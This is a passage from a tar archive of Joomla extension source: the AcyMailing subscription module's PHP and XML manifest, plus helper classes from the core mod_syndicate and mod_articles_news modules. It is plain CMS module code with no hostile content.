		$link = $acypop->display($mootoolsButton, '', $href, 'acymailing_togglemodule_'.$formName, $params->get('boxwidth', 250), $params->get('boxheight', 200), 'class="acymailing_togglemodule"', '', 'link');

		?>
		<p><?php echo $link; ?></p>
	</div>
</div>
mod_acymailing/mod_acymailing.php000060400000027161150746170550013222 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.2.0
 * @author	acyba.com
 * @copyright	(C) 2009-2016 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

if(!include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')){
	echo 'This module can not work without the AcyMailing Component';
	return;
};

$doc = JFactory::getDocument();
$config = acymailing_config();
$overridedesign = preg_replace('#[^a-z0-9_]#i', '', JRequest::getCmd('design'));
if(!empty($overridedesign)){
	if($overridedesign == 'popup') $overridedesign = '';
	$params->set('effect', 'mootools-box');
}

switch($params->get('redirectmode', '0')){
	case 1 :
		$redirectUrl = acymailing_completeLink('lists', false, true);
		$redirectUrlUnsub = $redirectUrl;
		break;
	case 2 :
		$redirectUrl = $params->get('redirectlink');
		$redirectUrlUnsub = $params->get('redirectlinkunsub');
		break;
	default :
		if(isset($_SERVER["REQUEST_URI"])){
			$requestUri = $_SERVER["REQUEST_URI"];
		}else{
			$requestUri = $_SERVER['PHP_SELF'];
			if(!empty($_SERVER['QUERY_STRING'])) $requestUri = rtrim($requestUri, '/').'?'.$_SERVER['QUERY_STRING'];
		}
		$redirectUrl = (((!empty($_SERVER['HTTPS']) AND strtolower($_SERVER['HTTPS']) == "on") || $_SERVER['SERVER_PORT'] == 443) ? 'https://' : 'http://').$_SERVER["HTTP_HOST"].$requestUri;
		$redirectUrlUnsub = $redirectUrl;
		if($params->get('effect', 'normal') == 'mootools-box') $redirectUrlUnsub = $redirectUrl = '';
}

$regex = trim(preg_replace('#[^a-z0-9\|\.]#i', '', $config->get('module_redirect')), '|');
if($regex != 'all'){
	preg_match('#^(https?://)?(www.)?([^/]*)#i', $redirectUrl, $resultsurl);
	$domainredirect = preg_replace('#[^a-z0-9\.]#i', '', @$resultsurl[3]);
	preg_match('#^(https?://)?(www.)?([^/]*)#i', $redirectUrlUnsub, $resultsurl);
	$domainredirectunsub = preg_replace('#[^a-z0-9\.]#i', '', @$resultsurl[3]);
	$saveRedir = false;
	if(!empty($domainredirect) && !preg_match('#^'.$regex.'$#i', $domainredirect)){
		$regex .= '|'.$domainredirect;
		$saveRedir = true;
	}
	if(!empty($domainredirectunsub) && !preg_match('#^'.$regex.'$#i', $domainredirectunsub)){
		$regex .= '|'.$domainredirectunsub;
		$saveRedir = true;
	}
	if($saveRedir){
		$newConfig = new stdClass();
		$newConfig->module_redirect = $regex;
		$config->save($newConfig);
	}
}

$formName = acymailing_getModuleFormName();
if(!empty($overridedesign)){
	$params->set('includejs', 'module');
}

$introText = $params->get('introtext');
$postText = $params->get('finaltext');
$mootoolsIntro = $params->get('mootoolsintro', '');
if(!empty($introText) && preg_match('#^[A-Z_]*$#', $introText)){
	$introText = JText::_($introText);
}
if(!empty($postText) && preg_match('#^[A-Z_]*$#', $postText)){
	$postText = JText::_($postText);
}
if(!empty($mootoolsIntro) && preg_match('#^[A-Z_]*$#', $mootoolsIntro)){
	$mootoolsIntro = JText::_($mootoolsIntro);
}


if($params->get('effect') == 'mootools-box' AND JRequest::getString('tmpl') != 'component'){

	$mootoolsButton = $params->get('mootoolsbutton', '');
	if(empty($mootoolsButton)){
		$mootoolsButton = JText::_('SUBSCRIBE');
	}else{
		if(!empty($mootoolsButton) && preg_match('#^[A-Z_]*$#', $mootoolsButton)){
			$mootoolsButton = JText::_($mootoolsButton);
		}
	}

	$moduleCSS = $config->get('css_module', 'default');
	if(!empty($moduleCSS)){
		$doc->addStyleSheet(ACYMAILING_CSS.'module_'.$moduleCSS.'.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'module_'.$moduleCSS.'.css'));
	}
	JHTML::_('behavior.modal', 'a.modal');
	require(JModuleHelper::getLayoutPath('mod_acymailing', 'popup'));
	return;
}
acymailing_initModule($params->get('includejs', 'header'), $params);

$userClass = acymailing_get('class.subscriber');
$identifiedUser = null;
$connectedUser = JFactory::getUser();
if($params->get('loggedin', 1) && !empty($connectedUser->email)){
	$identifiedUser = $userClass->get($connectedUser->email);
}

$visibleLists = trim($params->get('lists', 'None'));
$hiddenLists = trim($params->get('hiddenlists', 'All'));
$visibleListsArray = array();
$hiddenListsArray = array();
$listsClass = acymailing_get('class.list');
if(empty($identifiedUser->subid)){
	$allLists = $listsClass->getLists('listid');
}else{
	$allLists = $userClass->getSubscription($identifiedUser->subid, 'listid');
}


if(strpos($visibleLists, ',') OR is_numeric($visibleLists)){
	$allvisiblelists = explode(',', $visibleLists);
	foreach($allLists as $oneList){
		if($oneList->published AND in_array($oneList->listid, $allvisiblelists)) $visibleListsArray[] = $oneList->listid;
	}
}elseif(strtolower($visibleLists) == 'all'){
	foreach($allLists as $oneList){
		if($oneList->published){
			$visibleListsArray[] = $oneList->listid;
		}
	}
}

if(strpos($hiddenLists, ',') OR is_numeric($hiddenLists)){
	$allhiddenlists = explode(',', $hiddenLists);
	foreach($allLists as $oneList){
		if($oneList->published AND in_array($oneList->listid, $allhiddenlists)) $hiddenListsArray[] = $oneList->listid;
	}
}elseif(strtolower($hiddenLists) == 'all'){
	$visibleListsArray = array();
	foreach($allLists as $oneList){
		if(!empty($oneList->published)){
			$hiddenListsArray[] = $oneList->listid;
		}
	}
}

if(!empty($visibleListsArray) AND !empty($hiddenListsArray)){
	$visibleListsArray = array_diff($visibleListsArray, $hiddenListsArray);
}

$visibleLists = $params->get('dropdown', 0) ? '' : implode(',', $visibleListsArray);
$hiddenLists = implode(',', $hiddenListsArray);

if(!$params->get('dropdown', 0) && empty($hiddenLists) && empty($visibleLists)){
	echo '<p style="color:red">Error : Please select some lists in your AcyMailing module configuration for the field "'.JText::_('AUTO_SUBSCRIBE_TO').'" and make sure the selected lists are enabled </p>';
}

if(!empty($identifiedUser->subid)){
	$countSub = 0;
	$countUnsub = 0;
	foreach($visibleListsArray as $idOneList){
		if($allLists[$idOneList]->status == -1){
			$countSub++;
		}elseif($allLists[$idOneList]->status == 1) $countUnsub++;
	}
	foreach($hiddenListsArray as $idOneList){
		if($allLists[$idOneList]->status == -1){
			$countSub++;
		}elseif($allLists[$idOneList]->status == 1) $countUnsub++;
	}
}

$checkedLists = $params->get('listschecked', 'All');
if(strtolower($checkedLists) == 'all'){
	$checkedListsArray = $visibleListsArray;
}elseif(strpos($checkedLists, ',') OR is_numeric($checkedLists)){
	$checkedListsArray = explode(',', $checkedLists);
}else{
	$checkedListsArray = array();
}

$listPosition = $params->get('listposition', 'before');


$nameCaption = $params->get('nametext', JText::_('NAMECAPTION'));
$emailCaption = $params->get('emailtext', JText::_('EMAILCAPTION'));
$displayOutside = $params->get('displayfields', 0);
$displayInline = ($params->get('displaymode', 'vertical') == 'vertical') ? false : true;

$displayedFields = $params->get('customfields', 'name,email');
$fieldsToDisplay = explode(',', $displayedFields);
$extraFields = array();

$fieldsize = $params->get('fieldsize', '80%');
if(is_numeric($fieldsize)) $fieldsize .= 'px';


if(!in_array('email', $fieldsToDisplay) && empty($connectedUser->id)) $fieldsToDisplay[] = 'email';

if($params->get('loadmootools', '1') == 1 && ($params->get('effect') == 'mootools-slide' || $params->get('redirectmode', 0) == '3')){
	acymailing_loadMootools($params->get('effect') == 'mootools-slide');
}

if($params->get('effect') == 'mootools-slide'){
	$mootoolsButton = $params->get('mootoolsbutton', '');
	if(empty($mootoolsButton)) $mootoolsButton = JText::_('SUBSCRIBE');

	$js = 'if (window.jQuery) {
			jQuery(document).ready(function(){
				jQuery("#acymailing_fulldiv_'.$formName.'").hide();
 				jQuery("#acymailing_togglemodule_'.$formName.'").click(function(){
					jQuery("#acymailing_fulldiv_'.$formName.'").slideToggle("fast");
					jQuery("#acymailing_togglemodule_'.$formName.'").toggleClass("acyactive");
					return false;
				});
			});
		} else{
		';
	$js .= "window.addEvent('domready', function(){
				var mySlide = new Fx.Slide('acymailing_fulldiv_$formName');
				mySlide.hide();
				try{
					var acytogglemodule = document.id('acymailing_togglemodule_$formName');
				}catch(err){
					var acytogglemodule = $('acymailing_togglemodule_$formName');
				}

				acytogglemodule.addEvent('click', function(e){
					if(mySlide.wrapper.offsetHeight == 0){
						acytogglemodule.className = 'acymailing_togglemodule acyactive';
					}else{
						acytogglemodule.className = 'acymailing_togglemodule';
					}
					mySlide.toggle();
					try {
						var evt = new Event(e);
						evt.stop();
					} catch(err) {
						e.stop();
					}
				});
			});
		}";

	if($params->get('includejs', 'header') == 'header'){
		$doc->addScriptDeclaration($js);
	}else{
		echo "<script type=\"text/javascript\">
			<!--
				$js
			//-->
				</script>";
	}
}

if($params->get('overlay', 0)){
	JHTML::_('behavior.tooltip');
}

if($params->get('showterms', false)){
	require_once JPATH_SITE.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php';
	$termsIdContent = $params->get('termscontent', 0);
	if(empty($termsIdContent)){
		$termslink = JText::_('JOOMEXT_TERMS');
	}else{
		if(is_numeric($termsIdContent)){
			$db = JFactory::getDBO();
			if(!ACYMAILING_J16){
				$query = 'SELECT a.id,a.alias,a.catid,a.sectionid, c.alias as catalias, s.alias as secalias FROM #__content as a ';
				$query .= ' LEFT JOIN #__categories AS c ON c.id = a.catid ';
				$query .= ' LEFT JOIN #__sections AS s ON s.id = a.sectionid ';
				$query .= 'WHERE a.id = '.$termsIdContent.' LIMIT 1';
				$db->setQuery($query);
				$article = $db->loadObject();

				$section = $article->sectionid.(!empty($article->secalias) ? ':'.$article->secalias : '');
				$category = $article->catid.(!empty($article->catalias) ? ':'.$article->catalias : '');
				$articleid = $article->id.(!empty($article->alias) ? ':'.$article->alias : '');
				$url = ContentHelperRoute::getArticleRoute($articleid, $category, $section);
			}else{
				$query = 'SELECT a.id,a.alias,a.catid, c.alias as catalias FROM #__content as a ';
				$query .= ' LEFT JOIN #__categories AS c ON c.id = a.catid ';
				$query .= 'WHERE a.id = '.$termsIdContent.' LIMIT 1';
				$db->setQuery($query);
				$article = $db->loadObject();

				$category = $article->catid.(!empty($article->catalias) ? ':'.$article->catalias : '');
				$articleid = $article->id.(!empty($article->alias) ? ':'.$article->alias : '');

				$url = ContentHelperRoute::getArticleRoute($articleid, $category);
			}
			$url .= (strpos($url, '?') ? '&' : '?').'tmpl=component';
		}else{
			$url = $termsIdContent;
		}

		if($params->get('showtermspopup', 1) == 1){
			$acypop = acymailing_get('helper.acypopup');
			$acypop->useMootools = ($params->get('loadmootools', '1') == 1) ? true : false;
			$termslink = $acypop->display(JText::_('JOOMEXT_TERMS'), JText::_('JOOMEXT_TERMS', true), $url, $articleid, 650, 375, '', '', 'text');
		}else{
			$termslink = '<a title="'.JText::_('JOOMEXT_TERMS', true).'"  href="'.$url.'" target="_blank">'.JText::_('JOOMEXT_TERMS').'</a>';
		}
	}
}

if(!empty($overridedesign)){
	ob_start();
}

if($params->get('displaymode') == 'tableless'){
	require(JModuleHelper::getLayoutPath('mod_acymailing', 'tableless'));
}else{
	require(JModuleHelper::getLayoutPath('mod_acymailing'));
}

if(!empty($connectedUser->email)){
	echo '<span style="display:none">{emailcloak=off}</span>';
}

if(!empty($overridedesign)){
	$moduleDisplay = ob_get_clean();
	$file = ACYMAILING_MEDIA.'plugins'.DS.'squeezepage'.DS.$overridedesign.'.php';
	if(file_exists($file)){
		ob_start();
		require($file);
		$squeezePage = ob_get_clean();
		$squeezePage = str_replace('{module}', $moduleDisplay, $squeezePage);
		echo $squeezePage;
		exit;
	}else{
		echo $moduleDisplay;
	}
}

mod_acymailing/mod_acymailing.xml000060400000054670150746170550013240 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="1.5.0" method="upgrade">
	<name>AcyMailing Module</name>
	<creationDate>September 2009</creationDate>
	<version>3.7.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2016 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>Subscribe / Unsubscribe Module for AcyMailing</description>
	<files>
		<filename module="mod_acymailing">mod_acymailing.php</filename>
		<filename>index.html</filename>
		<folder>tmpl</folder>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" default="module" label="Help" description="Click on the help button to get some help" />
		<param name="effect" type="radio" default="normal" label="DISPLAY_EFFECT" description="Select the effect you want to add to your module">
			<option value="normal">Normal (no effect)</option>
			<option value="mootools-slide">Slide effect</option>
			<option value="mootools-box">Popup effect</option>
		</param>
		<param name="lists" type="lists" default="None" label="VISIBLE_LISTS" description="The following selected lists will be added on the Module and will be visible (if they are not selected as automatically subscribed to)." />
		<param name="hiddenlists" type="lists" default="All" label="AUTO_SUBSCRIBE_TO" description="The user will be automatically subscribed to the selected lists. They won't be displayed on your module but if the user subscribes, he will be subscribed to those lists as well" />
		<param name="displaymode" type="radio" default="vertical" label="DISPLAY_MODE" description="Select whether you want to display the form horizontally, vertically or without table">
			<option value="inline">Horizontal</option>
			<option value="vertical">Vertical</option>
			<option value="tableless">Tableless</option>
		</param>
		<param name="listschecked" type="lists" default="All" label="LISTS_CHECKED_DEFAULT" description="The selected lists will be checked by default on your module if they are visible." />
		<param name="checkmode" type="radio" default="0" label="CHECKED_MODE" description="If you select the first option - Show user's subscription status - only the lists that the logged-in user is subscribed to will be checked. This option has an effect on logged-in users only so you can choose whether you want to display his own subscription or always the default one.">
			<option value="0">Show user's subscription status</option>
			<option value="1">Default checked lists</option>
		</param>
		<param name="dropdown" type="radio" default="0" label="DROPDOWN_LISTS" description="Display the visible lists in a dropdown">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="overlay" type="radio" default="0" label="DESC_OVERLAY" description="Add the description of each visible list as an overlay of the list name. Be careful, you might have conflicts using this option if you have some flash elements on your website.">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="link" type="radio" default="1" label="LINKED_ARCHIVE" description="Add a link to the archive section for each list.">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="listposition" type="radio" default="before" label="LIST_POSITION" description="Select where to display the list.">
			<option value="before">ACY_BEFORE_FIELDS</option>
			<option value="after">ACY_AFTER_FIELDS</option>
		</param>
		<param name="customfields" type="customfields" default="name,email" label="DISP_FIELDS" description="Select the fields you want to display on your subscription module" />

		<param name="@spacer" type="spacer" default="" label="" description="" />

		<param name="nametext" type="text" size="50" default="" label="CAPT_NAME" description="Text displayed on the name field. If you don't specify anything, the default value will be used from the current language file" />
		<param name="emailtext" type="text" size="50" default="" label="CAPT_EMAIL" description="Text displayed on the e-mail field. If you don't specify anything, the default value will be used from the current language file" />
		<param name="fieldsize" type="text" size="10" default="80%" label="FIELD_SIZE" description="Specify the size of the email and name fields on your subscription form" />
		<param name="displayfields" type="radio" default="0" label="DISP_TEXT_MODE" description="Display the Name and E-mail text inside or outside the field?">
			<option value="0">Inside</option>
			<option value="1">Outside</option>
		</param>
		<param name="introtext" type="textarea" rows="5" cols="35" default="" label="INTRO_TEXT" description="This text will be displayed before the form inside a span class=acymailing_introtext" />
		<param name="finaltext" type="textarea" rows="5" cols="35" default="" label="POST_TEXT" description="This text will be displayed after the form inside a span class=acymailing_finaltext" />
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="showsubscribe" type="radio" default="1" label="DISP_SUB_BUTTON" description="Display the subscribe button on the module">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="subscribetext" type="text" size="50" default="" label="CAPT_SUB" description="Text displayed on the subscribe button. If you don't specify anything, the default value will be used from the current language file" />
		<param name="subscribetextreg" type="text" size="50" default="" label="CAPT_SUB_LOGGED" description="Text displayed on the subscribe button if the user is logged in. If you don't specify anything, the default value will be used from the current language file" />
		<param name="showunsubscribe" type="radio" default="0" label="DISP_UNSUB_BUTTON" description="Display the unsubscribe button on the module">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="unsubscribetext" type="text" size="50" default="" label="CAPT_UNSUB" description="Text displayed on the unsubscribe button. If you don't specify anything, the default value will be used from the current language file" />

		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="redirectmode" type="radio" default="0" label="REDIRECT_MODE" description="After submitting the form, the user can be redirected to the previous page, to the Acymailing archive page or to a custom link (in that case, please write the url in the next field)">
			<option value="3">Ajax</option>
			<option value="0">Previous page</option>
			<option value="1">AcyMailing Archive</option>
			<option value="2">Custom Redirect Link</option>
		</param>
		<param name="redirectlink" type="text" size="50" default="" label="REDIRECT_LINK" description="If you selected the mode 'Custom Redirect Link', the user will be redirected to this url after clicking on the button subscribe" />
		<param name="redirectlinkunsub" type="text" size="50" default="" label="REDIRECTION_UNSUB" description="If you selected the mode 'Custom Redirect Link', the user will be redirected to this url after clicking on the button unsubscribe" />

		<param name="@spacer" type="spacer" default="" label="" description="" />

		<param name="showterms" type="radio" default="0" label="JOOMEXT_TERMS" description="Display the 'Accept Terms and Conditions' box">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="showtermspopup" type="radio" default="1" label="TERMS_POPUP" description="If you select 'Yes', the article linked to the terms and conditions will be displayed in a popup, otherwise it will be displayed as a separated page">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="termscontent" type="termscontent" default="0" label="TERMS_CONTENT" description="The selected article will be displayed if the user clicks on the link 'Terms and Conditions'" />
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="mootoolsintro" type="textarea" rows="5" cols="35" default="" label="MOO_INTRO" description="This text will be displayed before the Mootools button in case of you use the Mootools effect" />
		<param name="mootoolsbutton" type="text" size="50" default="" label="MOO_BUTTON" description="Text displayed on the Mootools button in case of you use the Mootools effect. If you don't specify anything, the default value will be used from the current language file" />
		<param name="boxwidth" type="text" size="5" default="250" label="MOO_BOX_WIDTH" description="If you use the Mootools Box effect, you can set the width of the box in this area" />
		<param name="boxheight" type="text" size="5" default="200" label="MOO_BOX_HEIGHT" description="If you use the Mootools Box effect, you can set the height of the box in this area" />

	</params>

	<params group="advanced">
		<param name="moduleclass_sfx" type="text" default="" label="MODULE_CLASSSUF" description="PARAMMODULECLASSSUFFIX" />
		<param name="textalign" type="list" default="0" label="MODULE_ALIGNMENT" description="This option enables you to align the text inside the module">
			<option value="none">Default CSS alignment</option>
			<option value="right">Right</option>
			<option value="left">Left</option>
			<option value="center">Center</option>
		</param>
		<param name="loggedin" type="radio" default="1" label="MODULE_AUTOID" description="Do you want the logged in users to be automatically identified in the module?">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="cache" type="list" default="0" label="MODULE_CACHING" description="Select whether to cache the content of this module">
			<option value="0">No caching</option>
			<option value="1">Use global</option>
		</param>
		<param name="includejs" type="list" default="header" label="MODULE_JS" description="How should AcyMailing add the necessary JS files">
			<option value="header">In the header</option>
			<option value="module">On the module itself</option>
		</param>
		<param name="itemid" size="10" type="text" default="" label="ACY_ITEMID" description="Menu ID used in the archive links coming from this module" />
        <param name="loadmootools" type="list" default="1" label="Use mootools" description="Select if you want the module to use Mootools or not">
            <option value="0">No</option>
            <option value="1">Yes</option>
        </param>
	</params>

	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" default="module" label="Help" description="Click on the help button to get some help" />
                <field name="effect" type="radio" default="normal" label="DISPLAY_EFFECT" description="Select the effect you want to add to your module">
                    <option value="normal">Normal (no effect)</option>
                    <option value="mootools-slide">Slide effect</option>
                    <option value="mootools-box">Popup effect</option>
                </field>
                <field name="lists" type="lists" default="None" label="VISIBLE_LISTS" description="The following selected lists will be added on the Module and will be visible (if they are not selected as automatically subscribed to)." />
                <field name="hiddenlists" type="lists" default="All" label="AUTO_SUBSCRIBE_TO" description="The user will be automatically subscribed to the selected lists. They won't be displayed on your module but if the user subscribes, he will be subscribed to those lists as well" />
                <field name="displaymode" type="radio" default="vertical" label="DISPLAY_MODE" description="Select whether you want to display the form horizontally, vertically or without table">
                    <option value="inline">Horizontal</option>
                    <option value="vertical">Vertical</option>
                    <option value="tableless">Tableless</option>
                </field>
                <field name="listschecked" type="lists" default="All" label="LISTS_CHECKED_DEFAULT" description="The selected lists will be checked by default on your module if they are visible." />
                <field name="checkmode" type="radio" default="0" label="CHECKED_MODE" description="If you select the first option - Show user's subscription status - only the lists that the logged-in user is subscribed to will be checked. This option has an effect on logged-in users only so you can choose whether you want to display his own subscription or always the default one.">
                    <option value="0">Show user's subscription status</option>
                    <option value="1">Default checked lists</option>
                </field>
                <field name="dropdown" type="radio" default="0" label="DROPDOWN_LISTS" description="Display the visible lists in a dropdown">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="overlay" type="radio" default="0" label="DESC_OVERLAY" description="Add the description of each visible list as an overlay of the list name. Be careful, you might have conflicts using this option if you have some flash elements on your website.">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="link" type="radio" default="1" label="LINKED_ARCHIVE" description="Add a link to the archive section for each list.">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="listposition" type="radio" default="before" label="LIST_POSITION" description="Select where to display the list.">
                    <option value="before">ACY_BEFORE_FIELDS</option>
                    <option value="after">ACY_AFTER_FIELDS</option>
                </field>
                <field name="customfields" type="customfields" default="name,email" label="DISP_FIELDS" description="Select the fields you want to display on your subscription module" />

                <field name="@spacer" type="spacer" default="" label="" description="" />

                <field name="nametext" type="text" size="50" default="" label="CAPT_NAME" description="Text displayed on the name field. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML" />
                <field name="emailtext" type="text" size="50" default="" label="CAPT_EMAIL" description="Text displayed on the e-mail field. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML" />
                <field name="fieldsize" type="text" size="10" default="80%" label="FIELD_SIZE" description="Specify the size of the email and name fields on your subscription form" />
                <field name="displayfields" type="radio" default="0" label="DISP_TEXT_MODE" description="Display the Name and E-mail text inside or outside the field?">
                    <option value="0">Inside</option>
                    <option value="1">Outside</option>
                </field>
                <field name="introtext" type="textarea" rows="5" cols="35" default="" label="INTRO_TEXT" description="This text will be displayed before the form inside a span class=acymailing_introtext" filter="SAFEHTML" />
                <field name="finaltext" type="textarea" rows="5" cols="35" default="" label="POST_TEXT" description="This text will be displayed after the form inside a span class=acymailing_finaltext" filter="SAFEHTML" />
                <field name="@spacer" type="spacer" default="" label="" description="" />
                <field name="showsubscribe" type="radio" default="1" label="DISP_SUB_BUTTON" description="Display the subscribe button on the module">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="subscribetext" type="text" size="50" default="" label="CAPT_SUB" description="Text displayed on the subscribe button. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML" />
                <field name="subscribetextreg" type="text" size="50" default="" label="CAPT_SUB_LOGGED" description="Text displayed on the subscribe button if the user is logged in. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML" />
                <field name="showunsubscribe" type="radio" default="0" label="DISP_UNSUB_BUTTON" description="Display the unsubscribe button on the module">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="unsubscribetext" type="text" size="50" default="" label="CAPT_UNSUB" description="Text displayed on the unsubscribe button. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML" />

                <field name="@spacer" type="spacer" default="" label="" description="" />
                <field name="redirectmode" type="radio" default="0" label="REDIRECT_MODE" description="After submitting the form, the user can be redirected to the previous page, to the Acymailing archive page or to a custom link (in that case, please write the url in the next field)">
                    <option value="3">Ajax</option>
                    <option value="0">Previous page</option>
                    <option value="1">AcyMailing Archive</option>
                    <option value="2">Custom Redirect Link</option>
                </field>
                <field name="redirectlink" type="text" size="50" default="" label="REDIRECT_LINK" description="If you selected the mode 'Custom Redirect Link', the user will be redirected to this url after clicking on the button subscribe" />
                <field name="redirectlinkunsub" type="text" size="50" default="" label="REDIRECTION_UNSUB" description="If you selected the mode 'Custom Redirect Link', the user will be redirected to this url after clicking on the button unsubscribe" />

                <field name="@spacer" type="spacer" default="" label="" description="" />

                <field name="showterms" type="radio" default="0" label="JOOMEXT_TERMS" description="Display the 'Accept Terms and Conditions' box">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="showtermspopup" type="radio" default="1" label="TERMS_POPUP" description="If you select 'Yes', the article linked to the terms and conditions will be displayed in a popup, otherwise it will be displayed as a separated page">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="termscontent" type="termscontent" default="0" label="TERMS_CONTENT" description="The selected article will be displayed if the user clicks on the link 'Terms and Conditions'" />
                <field name="@spacer" type="spacer" default="" label="" description="" />
                <field name="mootoolsintro" type="textarea" rows="5" cols="35" default="" label="MOO_INTRO" description="This text will be displayed before the Mootools button in case of you use the Mootools effect" filter="SAFEHTML" />
                <field name="mootoolsbutton" type="text" size="50" default="" label="MOO_BUTTON" description="Text displayed on the Mootools button in case of you use the Mootools effect. If you don't specify anything, the default value will be used from the current language file" filter="SAFEHTML" />
                <field name="boxwidth" type="text" size="5" default="250" label="MOO_BOX_WIDTH" description="If you use the Mootools Box effect, you can set the width of the box in this area" />
                <field name="boxheight" type="text" size="5" default="200" label="MOO_BOX_HEIGHT" description="If you use the Mootools Box effect, you can set the height of the box in this area" />

			</fieldset>
			<fieldset name="advanced">
                <field name="moduleclass_sfx" type="text" default="" label="MODULE_CLASSSUF" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
                <field name="textalign" type="list" default="0" label="MODULE_ALIGNMENT" description="This option enables you to align the text inside the module">
                    <option value="none">Default CSS alignment</option>
                    <option value="right">Right</option>
                    <option value="left">Left</option>
                    <option value="center">Center</option>
                </field>
                <field name="loggedin" type="radio" default="1" label="MODULE_AUTOID" description="Do you want the logged in users to be automatically identified in the module?">
                    <option value="0">JOOMEXT_NO</option>
                    <option value="1">JOOMEXT_YES</option>
                </field>
                <field name="cache" type="list" default="0" label="MODULE_CACHING" description="Select whether to cache the content of this module">
                    <option value="0">No caching</option>
                    <option value="1">Use global</option>
                </field>
                <field name="includejs" type="list" default="header" label="MODULE_JS" description="How should AcyMailing add the necessary JS files">
                    <option value="header">In the header</option>
                    <option value="module">On the module itself</option>
                </field>
                <field name="itemid" size="10" type="text" default="" label="ACY_ITEMID" description="Menu ID used in the archive links coming from this module" />
                <field name="loadmootools" type="list" default="1" label="Use mootools" description="Select if you want the module to use Mootools or not">
                    <option value="0">No</option>
                    <option value="1">Yes</option>
                </field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_acymailing/index.html000060400000000054150746170550011522 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_syndicate/helper.php000064400000001500150746170550011364 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_syndicate
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Helper for mod_syndicate
 *
 * @since  1.5
 */
class ModSyndicateHelper
{
	/**
	 * Gets the link
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array  The link as a string
	 *
	 * @since   1.5
	 */
	public static function getLink(&$params)
	{
		$document = JFactory::getDocument();

		foreach ($document->_links as $link => $value)
		{
			$value = ArrayHelper::toString($value);

			if (strpos($value, 'application/' . $params->get('format') . '+xml'))
			{
				return $link;
			}
		}
	}
}
mod_articles_news/helper.php000064400000013424150746170550012253 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models', 'ContentModel');

/**
 * Helper for mod_articles_news
 *
 * @since  1.6
 */
abstract class ModArticlesNewsHelper
{
	/**
	 * Get a list of the latest articles from the article model
	 *
	 * @param   \Joomla\Registry\Registry  &$params  object holding the models parameters
	 *
	 * @return  mixed
	 *
	 * @since 1.6
	 */
	public static function getList(&$params)
	{
		// Get an instance of the generic articles model
		$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$app       = JFactory::getApplication();
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		$model->setState('list.start', 0);
		$model->setState('filter.published', 1);

		// Set the filters based on the module params
		$model->setState('list.limit', (int) $params->get('count', 5));

		// This module does not use tags data
		$model->setState('load_tags', false);

		// Access filter
